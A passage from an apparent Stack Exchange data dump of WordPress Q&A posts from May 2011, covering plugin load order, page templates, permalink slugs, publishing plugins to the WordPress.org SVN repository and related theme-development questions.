{&#xA;        // Named global variable to make access for other scripts easier.&#xA;        $GLOBALS[ __CLASS__ ] = new self;&#xA;    }&#xA;    public function __construct() { /* Do something awesome. */ }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Plugin 2&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'plugins_loaded', 'depending_operation', 11 );&#xA;&#xA;function depending_operation()&#xA;{&#xA;    if ( empty ( $GLOBALS[ 'My_Class' ] ) )&#xA;    {&#xA;        return;&#xA;    }&#xA;    /* Do something awesome again. */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the 10 and the 11 in &lt;code&gt;add_action()&lt;/code&gt;? This guarantees that your second plugin will never run before the first. It still has to check if the first plugin is active and working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can even replace the class in another plugin:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Plugin 3&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'plugins_loaded', 'replace_global_class', 12 );&#xA;&#xA;function replace_global_class()&#xA;{&#xA;    $GLOBALS[ 'My_Class' ] = new Replacement_Class;&#xA;}&#xA;&#xA;class Replacement_Class {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-11T10:47:34.907" CommentCount="2" />
  <row Id="16942" PostTypeId="1" CreationDate="2011-05-11T11:06:09.963" Score="0" ViewCount="74" Body="&lt;p&gt;So I'm taking my first foray into creating a wordpress page template. I created a .php file with the following contents:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Download Page Template&#xA;*/&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I created a page in the page editor and assigned it to use the &quot;download page template&quot;. However, when I preview this page, all I see is the home/index page ... I tried a few of the samples from &lt;a href=&quot;http://codex.wordpress.org/Pages&quot; rel=&quot;nofollow&quot;&gt;the codex&lt;/a&gt;, but all that happened is that my content from the wp editor showed up at the very bottom of the index page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something obvious?&lt;/p&gt;&#xA;" OwnerUserId="5283" LastActivityDate="2011-05-11T11:28:40.717" Title="Page Templates automatically showing index page contents?" Tags="&lt;page-template&gt;" AnswerCount="1" />
  <row Id="16943" PostTypeId="2" ParentId="16942" CreationDate="2011-05-11T11:28:40.717" Score="1" ViewCount="" Body="&lt;p&gt;If the code you posted above is all of your file contents then Yes you are missing something!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you just created a new page template but it's empty, you need to tell WordPress what to display, and usually its done using &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;the loop&lt;/a&gt; and a few other template tags add this code to you a.php under what you already have :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//this will include the theme header.php file&#xA;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div id=&quot;content&quot; class=&quot;widecolumn&quot;&amp;gt;&#xA;&#xA; &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post();?&amp;gt;&#xA; &amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;h2 id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;div class=&quot;entrytext&quot;&amp;gt;&#xA;        &amp;lt;?php the_content(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA; &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA; &amp;lt;?php edit_post_link('Edit this entry.', '&amp;lt;p&amp;gt;', '&amp;lt;/p&amp;gt;'); ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;//this will include the theme footer.php file&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-11T11:28:40.717" CommentCount="3" />
  <row Id="16944" PostTypeId="1" AcceptedAnswerId="16945" CreationDate="2011-05-11T11:46:19.600" Score="1" ViewCount="42" Body="&lt;p&gt;On the site I'm currently developing I am using 'Custom Post Type UI' to manage my custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within this I can manage the description for any of the new custom post types that I have created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about editing the description of the default 'posts' post type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am outputting this description under the heading in each section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3670" LastActivityDate="2011-05-11T11:59:36.730" Title="Post Type Description for 'Posts'" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="16945" PostTypeId="2" ParentId="16944" CreationDate="2011-05-11T11:59:36.730" Score="2" ViewCount="" Body="&lt;p&gt;you can use &lt;code&gt;global $wp_post_types&lt;/code&gt; to edit the description for example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init' , 'edit_post_description');&#xA;function edit_post_description(){&#xA;    global $wp_post_types;&#xA;    $wp_post_types['post'] -&amp;gt;description = 'type your description here...';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-11T11:59:36.730" CommentCount="2" />
  <row Id="16946" PostTypeId="2" ParentId="16916" CreationDate="2011-05-11T12:15:44.450" Score="0" ViewCount="" Body="&lt;p&gt;All fixed. It ended up being a plugin issue. I disabled them all, then went through one by one to try and figure out which one was causing the issue, but didn't come up with anything. I guess it was just a random glitch...&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2011-05-11T12:15:44.450" />
  <row Id="16947" PostTypeId="1" AcceptedAnswerId="16948" CreationDate="2011-05-11T12:40:14.817" Score="0" ViewCount="185" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15840/is-there-a-way-to-change-posts-to-be-portfolio-is-the-wp-backend&quot;&gt;Is there a way to change &amp;#39;Posts&amp;#39; to be &amp;#39;Portfolio&amp;#39; is the WP backend?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Is there a way to accomplish this by the functions.php file ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter(  'gettext',  'change_post_to_article'  );&#xA;add_filter(  'ngettext',  'change_post_to_article'  );&#xA;&#xA;function change_post_to_article( $translated ) {&#xA;&#xA;   $translated = str_ireplace(  'Post',  'Article',  $translated );&#xA;&#xA;   return $translated;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it does not change all the entries for &quot;post&quot;. I still have &quot;Post tags&quot; for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion? &lt;/p&gt;&#xA;" OwnerUserId="2618" LastActivityDate="2011-05-11T12:45:17.693" ClosedDate="2011-05-11T21:10:15.610" Title="Rename &quot;post&quot; to &quot;article&quot; throughout the admin back end" Tags="&lt;posts&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16948" PostTypeId="2" ParentId="16947" CreationDate="2011-05-11T12:45:17.693" Score="1" ViewCount="" Body="&lt;p&gt;This is essentially a duplicate of this question: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/15840/is-there-a-way-to-change-posts-to-be-portfolio-is-the-wp-backend/15848#15848&quot;&gt;Is there a way to change &amp;#39;Posts&amp;#39; to be &amp;#39;Portfolio&amp;#39; is the WP backend?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-11T12:45:17.693" CommentCount="3" />
  <row Id="16950" PostTypeId="1" AcceptedAnswerId="16957" CreationDate="2011-05-11T12:58:41.607" Score="1" ViewCount="108" Body="&lt;p&gt;What's the best way to ensure that post and page slugs use underscores instead of hyphens, without needing to edit the slug manually (or updating the page manually)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current permalink:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.&amp;lt;domain&amp;gt;.com/2011/05/this-is-a-test-post/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Desired permalink&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.&amp;lt;domain&amp;gt;.com/2011/05/this_is_a_test_post/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One approach I've tried is to hook into &lt;code&gt;sanitize_title&lt;/code&gt;, but this seems to only be called when the post is updated, so not very practical for a blog of several thousand post. Is there any way to force each post to update?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need this to preserve compatibility as an old MovableType site is moved into WordPress - using .htaccess isn't really an option&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-17T11:28:57.687" Title="Using underscores instead of hyphens in the permalink" Tags="&lt;permalinks&gt;" AnswerCount="2" />
  <row Id="16951" PostTypeId="1" AcceptedAnswerId="16956" CreationDate="2011-05-11T13:12:56.720" Score="4" ViewCount="182" Body="&lt;p&gt;I just made my first plugin and it got approved by WordPress. Great news for me, but now what? The &quot;instructions&quot; on the Codex are anything but clear for me. I did find an article on &lt;a href=&quot;http://digwp.com/2010/03/add-plugin-to-wordpress-plugin-repository/&quot; rel=&quot;nofollow&quot;&gt;Dig WP&lt;/a&gt; and I managed to get to the 3rd line of code. After that no joy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone here have a clear set of instructions on how to do this without the need to read an entire book? I am sure that there are very experienced people here who do this stuff all the time...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-05-11T15:07:20.440" Title="How to add plugin to WordPress Repository?" Tags="&lt;plugin-repository&gt;&lt;how-to&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="16952" PostTypeId="1" CreationDate="2011-05-11T13:16:37.313" Score="0" ViewCount="202" Body="&lt;p&gt;I am almost done creating my theme for a client, when I came to a roadblock. I have the categories listed in the sidebar, but when you click on them nothing is showing up for that individual category. How would you go about getting this done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://louisstephens.cc/dev/motley&quot; rel=&quot;nofollow&quot;&gt;http://louisstephens.cc/dev/motley&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;/**&#xA; * The template for displaying Category Archive pages.&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Twenty_Ten&#xA; * @since Twenty Ten 1.0&#xA; */&lt;/p&gt;&#xA;&#xA;&lt;p&gt;get_header(); ?&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;&#xA;            &amp;lt;h1 class=&quot;page-title&quot;&amp;gt;&amp;lt;?php&#xA;                printf( __( 'Category Archives: %s', 'twentyten' ), '&amp;lt;span&amp;gt;' . single_cat_title( '', false ) . '&amp;lt;/span&amp;gt;' );&#xA;            ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;?php&#xA;                $category_description = category_description();&#xA;                if ( ! empty( $category_description ) )&#xA;                    echo '&amp;lt;div class=&quot;archive-meta&quot;&amp;gt;' . $category_description . '&amp;lt;/div&amp;gt;';&#xA;&#xA;            /* Run the loop for the category page to output the posts.&#xA;             * If you want to overload this in a child theme then include a file&#xA;             * called loop-category.php and that will be used instead.&#xA;             */&#xA;            get_template_part( 'loop', 'category' );&#xA;            ?&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;&lt;/p&gt;&#xA;" OwnerUserId="807" LastEditorUserId="807" LastEditorDisplayName="" LastEditDate="2011-05-12T12:59:28.000" LastActivityDate="2011-08-11T11:22:21.943" Title="Category Page List Posts" Tags="&lt;categories&gt;&lt;posts&gt;" AnswerCount="1" />
  <row Id="16953" PostTypeId="2" ParentId="16951" CreationDate="2011-05-11T13:27:24.067" Score="0" ViewCount="" Body="&lt;p&gt;try this: &lt;a href=&quot;http://www.digimantra.com/tutorials/wordpress/publish-wordpress-plugin-on-windows/&quot; rel=&quot;nofollow&quot;&gt;http://www.digimantra.com/tutorials/wordpress/publish-wordpress-plugin-on-windows/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this: &lt;a href=&quot;http://1manfactory.com/wordpress-plugins-upload-with-subversion-tortoise-and-windows-tutorial/&quot; rel=&quot;nofollow&quot;&gt;http://1manfactory.com/wordpress-plugins-upload-with-subversion-tortoise-and-windows-tutorial/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or this: &lt;a href=&quot;http://36flavours.com/2009/10/wordpress-hosted-plugins-and-tortoise-svn-windows/&quot; rel=&quot;nofollow&quot;&gt;http://36flavours.com/2009/10/wordpress-hosted-plugins-and-tortoise-svn-windows/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-11T13:27:24.067" CommentCount="1" />
  <row Id="16954" PostTypeId="1" AcceptedAnswerId="16959" CreationDate="2011-05-11T13:58:28.013" Score="0" ViewCount="72" Body="&lt;p&gt;I need guidance to edit the WordPress plugin and theme files via phpmyadmin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want to edit a particular plugin file or remove a plugin completely from database, I could able to find them ,but I can able to find the data tables for options  , comments, links etc.  I don't know how to edit/remove a particular plugin or theme there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anybody let me know how to find a particular plugin or the entire ' plugins ' folder in data base?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="391" LastActivityDate="2011-05-11T14:39:02.790" Title="How do i edit the plugin files in DataBase via phpMyAdmin?" Tags="&lt;plugins&gt;&lt;database&gt;&lt;phpmyadmin&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16955" PostTypeId="2" ParentId="16952" CreationDate="2011-05-11T14:16:15.407" Score="0" ViewCount="" Body="&lt;p&gt;I can see that you have put posts into categories so that is not the issue. Are you using the index.php template to display the home page? If so, does it modify the actual loop via query_posts()? Does your theme have a category.php template? If so, is the loop present?&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-11T14:16:15.407" CommentCount="4" />
  <row Id="16956" PostTypeId="2" ParentId="16951" CreationDate="2011-05-11T14:23:32.893" Score="4" ViewCount="" Body="&lt;h1&gt;Step 1 - Make sure things are formatted correctly&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;WordPress itself depends on the headers at the top of your main plugin file.  In many cases, if your plugin is &quot;My Cool Plugin&quot; this file is &lt;code&gt;my-cool-plugin.php&lt;/code&gt; in the main directory of your folder.  Make sure the top part of the file follows this format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;=== [Plugin Name] ===&#xA;&#xA;Plugin Name: [Plugin name]&#xA;Plugin URI: [Website where plugin information can be found - your blog, maybe]&#xA;Description: [Short description of your plugin]&#xA;Author URI: [Your website]&#xA;Author: [Your name]&#xA;Version: [This version number]&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The WordPress.org repository depends on your &lt;code&gt;readme.txt&lt;/code&gt; file to create a description and download page.  So make sure your &lt;code&gt;readme.txt&lt;/code&gt; file fits the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;=== [Plugin Name] ===&#xA;Contributors: [Your WordPress.org username]&#xA;Donate link: [A site people can go to to give you money]&#xA;Tags: [Search terms related to your plugin]&#xA;Requires at least: [Minimum version of WordPress required]&#xA;Tested up to: [Newest version of WordPress you've tested with]&#xA;Stable tag: [This version number]&#xA;&#xA;[Short, one-sentence description of your plugin]&#xA;&#xA;== Description ==&#xA;&#xA;[Long description of your plugin]&#xA;&#xA;== Installation ==&#xA;&#xA;[Steps required to install the plugin]&#xA;&#xA;== Frequently Asked Questions ==&#xA;&#xA;= [A question] =&#xA;&#xA;[An answer]&#xA;&#xA;= [Another question] =&#xA;&#xA;[Another answer]&#xA;&#xA;== Screenshots ==&#xA;&#xA;== Changelog ==&#xA;&#xA;== Upgrade Notice ==&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a handy &lt;a href=&quot;http://wordpress.org/extend/plugins/about/validator/&quot; rel=&quot;nofollow&quot;&gt;readme validator&lt;/a&gt; on WordPress.org you can use to make sure your readme has everything it needs.  Just copy-paste and it will check to make sure all the sections are there and that you're ready to go.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Step 2 - Check out the SVN repository&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;It's a good idea to keep your development version separate from the WordPress.org plugin repository.  Yes, SVN is used for version control, but WordPress uses it more for release management.  If you start committing every changeset to the repository, you'll potentially run into problems.  One thing a lot of developers do is develop locally using Git, then transfer your files into the Subversion repository when you're ready to do a release.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;These instructions assume you're using a Windows computer. If you're on a Mac, you can use &lt;a href=&quot;http://scplugin.tigris.org/&quot; rel=&quot;nofollow&quot;&gt;SCPlugin&lt;/a&gt; instead of TortoiseSVN.  The steps you'll need to follow will be the same, only the contextual menus and screenshots will differ slightly because of the UI.  I don't have a Mac, so I can't create screenshots to walk you through a tutorial ... but trust me, it's the same process.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Install TortoiseSVN if you don't have it already.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tortoisesvn.net/&quot; rel=&quot;nofollow&quot;&gt;TortoiseSVN&lt;/a&gt; is an open source Subversion GUI for Windows.  Trust me, using the GUI is infinitely easier than trying to do things from the command line.  You'll run into fewer problems, too.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Check out your WordPress-hosted SVN repository&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Find a place where you want to store the WordPress-hosted version of your plugin.  By default, I use &lt;code&gt;/My Documents/WordPress/&lt;/code&gt; for all of my hosted dev work.  Right-click inside the folder, and select &quot;SVN Checkout&quot; from the dropdown menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/KyoDy.png&quot; alt=&quot;TortoiseSVN Contextual Menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the dialog window that pops up, enter your WordPress.org plugin repository URL (I'm using one of mine for demonstration purposes) and choose which subfolder you want to create.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/UbjGs.png&quot; alt=&quot;Checkout Dialog&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tortoise will think for a bit, then it will pull down the repository from WordPress.org.  The newly created folder will have all the requisite folders already set up for you.  Now you just copy-paste and commit ... one step at a time.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Copy your latest version into &lt;code&gt;/tags&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is where I do things backwards from most tutorials.  Everyone else will tell you to commit &lt;code&gt;/trunk&lt;/code&gt; first, but remember that WordPress doesn't use anything in &lt;code&gt;/trunk&lt;/code&gt; except the readme file when looking at plugins.  So if you put your plugin into &lt;code&gt;/trunk&lt;/code&gt; and lose your network connection (or something else goes wrong) before you commit a tag, you'll have issues.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;/tags&lt;/code&gt; folder, create a folder named the same as the version you're releasing for your plugin.  So if you're releasing version 0.1, create a &lt;code&gt;/tags/0.1&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/yjGHA.png&quot; alt=&quot;Repository Tags Folder&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy your entire plugin into this folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now right-click inside the folder and select &quot;SVN Commit&quot; from the dropdown menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll see a window pop up that shows all of your changes (you should see all your new files marked as &quot;non-versioned&quot;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Xu7AI.png&quot; alt=&quot;Commit Window&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the box next to all of your plugin's files (or click &quot;Select All&quot; to select all of them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the box on the top, enter a commit message.  Since you're committing a tag, you should probably use something like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tagging version 0.1 of [My Plugin].&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Click OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, Tortoise will think for a few minutes, then it will ask you for your WordPress username and password in order to commit to the server.  Provide them, wait for things to go through and say &quot;Success,&quot; then move on to the next step.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Copy your latest version into &lt;code&gt;/trunk&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now navigate to the &lt;code&gt;/trunk&lt;/code&gt; folder of the repository and once again copy-paste your plugin to that folder.  Go through the same steps above to select your files and prepare the commit.  But for a message, use something that explains what the new release does:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Version 0.1 of [My Plugin] - adds support for OpenID.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Once everything goes through, you just have to wait a bit for WordPress.org's servers to catch up.  They can be slower some days than others, but within an hour or so you should see your new release in the repository.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Updating a plugin to a new version&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Once your plugin is in the wild, preparing an update is relatively easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, use the SVN Update command to make sure you have the latest version of the repository.  If you're the only developer, you should already, but it's good practice to update before you commit anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go through the process above to create a new sub-folder in &lt;code&gt;/tags&lt;/code&gt; for your new version.  Say, &lt;code&gt;/tags/0.2&lt;/code&gt;.  Don't touch the old &lt;code&gt;/0.1&lt;/code&gt; folder.  It's there for a reason and you'll never touch it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Commit your new tag, then go to the &lt;code&gt;/trunk&lt;/code&gt; folder.  Replace everything in &lt;code&gt;/trunk&lt;/code&gt; with your new version and commit as above.  Once the servers update, they'll start talking about the new version rather than the old one.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-05-11T15:07:20.440" LastActivityDate="2011-05-11T15:07:20.440" CommentCount="10" />
  <row Id="16957" PostTypeId="2" ParentId="16950" CreationDate="2011-05-11T14:29:31.353" Score="4" ViewCount="" Body="&lt;p&gt;IMO hooking into sanitize_title is probably the best way to go here. Check out this plugin by Mark Jaquith which does something similar: &lt;a href=&quot;http://txfx.net/files/wordpress/periods-in-titles.phps&quot; rel=&quot;nofollow&quot;&gt;http://txfx.net/files/wordpress/periods-in-titles.phps&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for updating the old posts, I would just write a simple script that would generate sql to manually update everything. (code not tested)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function sanitize_title_with_underscores( $title ) {&#xA;    return str_replace( '-', '_', sanitize_title_with_dashes( $title ) );&#xA;}&#xA;&#xA;$posts = get_posts( array( 'numberposts' =&amp;gt; -1 ) );&#xA;&#xA;foreach ( $posts as $post ) {&#xA;    global $wpdb;&#xA;    $id = absint( $post-&amp;gt;ID );&#xA;    $name = sanitize_title_with_underscores( $post-&amp;gt;post_name );&#xA;    print &quot;\n&quot; . &quot;UPDATE $wpdb-&amp;gt;posts SET post_name = '{$name}' WHERE ID = {$id};&quot;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Probably not the most elegant solution, but for something that only needs to be done once, it should work rather well.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-11T14:29:31.353" />
  <row Id="16958" PostTypeId="1" CreationDate="2011-05-11T14:29:42.883" Score="1" ViewCount="91" Body="&lt;p&gt;I have a classipress site and want to have the user choose upon registering with the site if they are a teacher, or student. These will be different roles. I have been trying to get roles at registration plugin to work because it is basically what I need, but since classipress has a custom reg page it does not seem to work. Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="5286" LastActivityDate="2011-05-11T14:29:42.883" Title="Roles at registration (classipress)" Tags="&lt;roles&gt;&lt;registration&gt;" />
  <row Id="16959" PostTypeId="2" ParentId="16954" CreationDate="2011-05-11T14:39:02.790" Score="1" ViewCount="" Body="&lt;p&gt;Plugins and themes are no in the database,  they are physical files under wp-content directory, and that is why you CAN'T find them in the database nor edit them from phpmyadmin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However WordPress has a built in editor for plugins and themes files. For themes its under appearances -&gt; editor and for plugins its under plugins-&gt; editor.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-11T14:39:02.790" CommentCount="1" />
  <row Id="16960" PostTypeId="2" ParentId="16921" CreationDate="2011-05-11T14:39:43.763" Score="3" ViewCount="" Body="&lt;p&gt;after looking around a bit I managed it to make it work using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sort_pages_by_date($a, $b){&#xA;    if ($a-&amp;gt;post_date == $b-&amp;gt;post_date)&#xA;        return 0;&#xA;    if ($a-&amp;gt;post_date &amp;lt; $b-&amp;gt;post_date)&#xA;        return -1;&#xA;    return 1;&#xA;}&#xA;&#xA;function get_filtered_news($pages) {&#xA;    usort($pages, 'sort_pages_by_date');&#xA;    rsort($pages);&#xA;&#xA;    return $output;&#xA;}&#xA;&#xA;add_filter('get_pages', 'get_filtered_news');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using the usort function to sort the array by the objects' date, and the reversing it to get it ordered from newest to oldest, thanks all for pointing me in the right direction I voted all you guys up.&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-05-11T14:39:43.763" CommentCount="2" />
  <row Id="16961" PostTypeId="1" AcceptedAnswerId="16962" CreationDate="2011-05-11T14:57:00.487" Score="1" ViewCount="72" Body="&lt;p&gt;I have a WP_Query returning a list of posts of a particular post type and with a certain meta_value (custom field value)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way generate an RSS feed based of these results ?&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-05-11T21:46:27.750" Title="How can I generate a RSS feed based on a custom WP_Query?" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;wp-query&gt;&lt;rss&gt;&lt;feed&gt;" AnswerCount="2" />
  <row Id="16962" PostTypeId="2" ParentId="16961" CreationDate="2011-05-11T15:16:20.013" Score="1" ViewCount="" Body="&lt;p&gt;Look at this: &lt;a href=&quot;http://www.seodenver.com/custom-rss-feed-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.seodenver.com/custom-rss-feed-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-11T15:16:20.013" />
